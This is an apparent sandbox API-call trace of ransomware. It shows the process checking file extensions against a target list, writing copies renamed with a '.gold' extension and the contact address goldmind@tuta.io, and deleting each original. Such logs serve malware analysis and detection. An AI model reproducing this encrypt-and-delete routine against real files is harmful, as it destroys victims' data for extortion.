[0041.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0041.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0041.404] lstrlenW (lpString=".doc") returned 4 [0041.404] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.404] lstrlenW (lpString=".docx") returned 5 [0041.404] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.404] lstrlenW (lpString=".pdf") returned 4 [0041.404] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.404] lstrlenW (lpString=".xls") returned 4 [0041.404] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.404] lstrlenW (lpString=".xlsx") returned 5 [0041.404] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.404] lstrlenW (lpString=".ppt") returned 4 [0041.404] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0041.404] lstrlenW (lpString=".zip") returned 4 [0041.404] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.404] lstrlenW (lpString=".rar") returned 4 [0041.404] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.404] lstrlenW (lpString=".bz2") returned 4 [0041.404] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.404] lstrlenW (lpString=".7z") returned 3 [0041.404] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0041.404] lstrlenW (lpString=".dbf") returned 4 [0041.404] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0041.404] lstrlenW (lpString=".1cd") returned 4 [0041.404] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0041.404] lstrlenW (lpString=".jpg") returned 4 [0041.404] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.404] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0041.404] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0041.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0041.405] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1354) returned 1 [0041.405] CloseHandle (hObject=0x178) returned 1 [0041.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0041.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0041.405] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.405] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0042.046] GetLastError () returned 0x0 [0042.046] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x54a, lpOverlapped=0x0) returned 1 [0042.048] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x550, lpOverlapped=0x0) returned 1 [0042.049] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.049] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.049] SetEndOfFile (hFile=0x1e8) returned 1 [0042.049] CloseHandle (hObject=0x1e8) returned 1 [0042.049] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.049] SetEndOfFile (hFile=0x178) returned 1 [0042.050] CloseHandle (hObject=0x178) returned 1 [0042.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.050] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 1 [0042.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0042.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0042.051] lstrlenW (lpString=".doc") returned 4 [0042.051] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.051] lstrlenW (lpString=".docx") returned 5 [0042.051] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.051] lstrlenW (lpString=".pdf") returned 4 [0042.051] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.051] lstrlenW (lpString=".xls") returned 4 [0042.051] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.051] lstrlenW (lpString=".xlsx") returned 5 [0042.051] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.051] lstrlenW (lpString=".ppt") returned 4 [0042.051] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0042.051] lstrlenW (lpString=".zip") returned 4 [0042.051] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.051] lstrlenW (lpString=".rar") returned 4 [0042.051] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.051] lstrlenW (lpString=".bz2") returned 4 [0042.051] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.051] lstrlenW (lpString=".7z") returned 3 [0042.051] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0042.051] lstrlenW (lpString=".dbf") returned 4 [0042.051] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0042.051] lstrlenW (lpString=".1cd") returned 4 [0042.051] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0042.051] lstrlenW (lpString=".jpg") returned 4 [0042.051] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0042.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0042.051] lstrlenW (lpString=".doc") returned 4 [0042.051] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.051] lstrlenW (lpString=".docx") returned 5 [0042.051] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.051] lstrlenW (lpString=".pdf") returned 4 [0042.051] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.051] lstrlenW (lpString=".xls") returned 4 [0042.051] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.051] lstrlenW (lpString=".xlsx") returned 5 [0042.051] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.051] lstrlenW (lpString=".ppt") returned 4 [0042.051] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0042.051] lstrlenW (lpString=".zip") returned 4 [0042.051] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.051] lstrlenW (lpString=".rar") returned 4 [0042.051] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.051] lstrlenW (lpString=".bz2") returned 4 [0042.051] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.051] lstrlenW (lpString=".7z") returned 3 [0042.051] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0042.051] lstrlenW (lpString=".dbf") returned 4 [0042.052] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0042.052] lstrlenW (lpString=".1cd") returned 4 [0042.052] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0042.052] lstrlenW (lpString=".jpg") returned 4 [0042.052] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.052] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0042.052] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0042.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.052] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1364) returned 1 [0042.052] CloseHandle (hObject=0x178) returned 1 [0042.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0042.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.052] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.052] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0042.054] GetLastError () returned 0x0 [0042.054] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x554, lpOverlapped=0x0) returned 1 [0042.055] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x560, lpOverlapped=0x0) returned 1 [0042.056] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.056] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.056] SetEndOfFile (hFile=0x1e8) returned 1 [0042.056] CloseHandle (hObject=0x1e8) returned 1 [0042.056] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.056] SetEndOfFile (hFile=0x178) returned 1 [0042.057] CloseHandle (hObject=0x178) returned 1 [0042.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.057] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 1 [0042.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0042.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0042.057] lstrlenW (lpString=".doc") returned 4 [0042.057] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.057] lstrlenW (lpString=".docx") returned 5 [0042.057] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.057] lstrlenW (lpString=".pdf") returned 4 [0042.057] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.057] lstrlenW (lpString=".xls") returned 4 [0042.057] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.057] lstrlenW (lpString=".xlsx") returned 5 [0042.057] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.057] lstrlenW (lpString=".ppt") returned 4 [0042.057] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0042.057] lstrlenW (lpString=".zip") returned 4 [0042.057] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.057] lstrlenW (lpString=".rar") returned 4 [0042.057] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.057] lstrlenW (lpString=".bz2") returned 4 [0042.057] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.058] lstrlenW (lpString=".7z") returned 3 [0042.058] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0042.058] lstrlenW (lpString=".dbf") returned 4 [0042.058] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0042.058] lstrlenW (lpString=".1cd") returned 4 [0042.058] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0042.058] lstrlenW (lpString=".jpg") returned 4 [0042.058] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0042.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0042.058] lstrlenW (lpString=".doc") returned 4 [0042.058] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.058] lstrlenW (lpString=".docx") returned 5 [0042.058] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.058] lstrlenW (lpString=".pdf") returned 4 [0042.058] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.058] lstrlenW (lpString=".xls") returned 4 [0042.058] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.058] lstrlenW (lpString=".xlsx") returned 5 [0042.058] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.058] lstrlenW (lpString=".ppt") returned 4 [0042.058] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0042.058] lstrlenW (lpString=".zip") returned 4 [0042.058] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.058] lstrlenW (lpString=".rar") returned 4 [0042.058] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.058] lstrlenW (lpString=".bz2") returned 4 [0042.058] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.058] lstrlenW (lpString=".7z") returned 3 [0042.058] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0042.058] lstrlenW (lpString=".dbf") returned 4 [0042.058] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0042.058] lstrlenW (lpString=".1cd") returned 4 [0042.058] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0042.058] lstrlenW (lpString=".jpg") returned 4 [0042.058] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.059] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0042.059] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0042.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.059] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=11573) returned 1 [0042.059] CloseHandle (hObject=0x178) returned 1 [0042.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0042.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.059] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.059] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0042.060] GetLastError () returned 0x0 [0042.060] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x2d35, lpOverlapped=0x0) returned 1 [0042.061] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x2d40, lpOverlapped=0x0) returned 1 [0042.062] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.062] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.062] SetEndOfFile (hFile=0x1e8) returned 1 [0042.062] CloseHandle (hObject=0x1e8) returned 1 [0042.062] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.062] SetEndOfFile (hFile=0x178) returned 1 [0042.063] CloseHandle (hObject=0x178) returned 1 [0042.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.063] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 1 [0042.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0042.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0042.063] lstrlenW (lpString=".doc") returned 4 [0042.063] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.063] lstrlenW (lpString=".docx") returned 5 [0042.063] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.063] lstrlenW (lpString=".pdf") returned 4 [0042.063] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.063] lstrlenW (lpString=".xls") returned 4 [0042.063] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.063] lstrlenW (lpString=".xlsx") returned 5 [0042.063] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.063] lstrlenW (lpString=".ppt") returned 4 [0042.063] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0042.063] lstrlenW (lpString=".zip") returned 4 [0042.063] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.063] lstrlenW (lpString=".rar") returned 4 [0042.063] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.063] lstrlenW (lpString=".bz2") returned 4 [0042.063] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.063] lstrlenW (lpString=".7z") returned 3 [0042.063] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0042.064] lstrlenW (lpString=".dbf") returned 4 [0042.064] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0042.064] lstrlenW (lpString=".1cd") returned 4 [0042.064] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0042.064] lstrlenW (lpString=".jpg") returned 4 [0042.064] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0042.064] 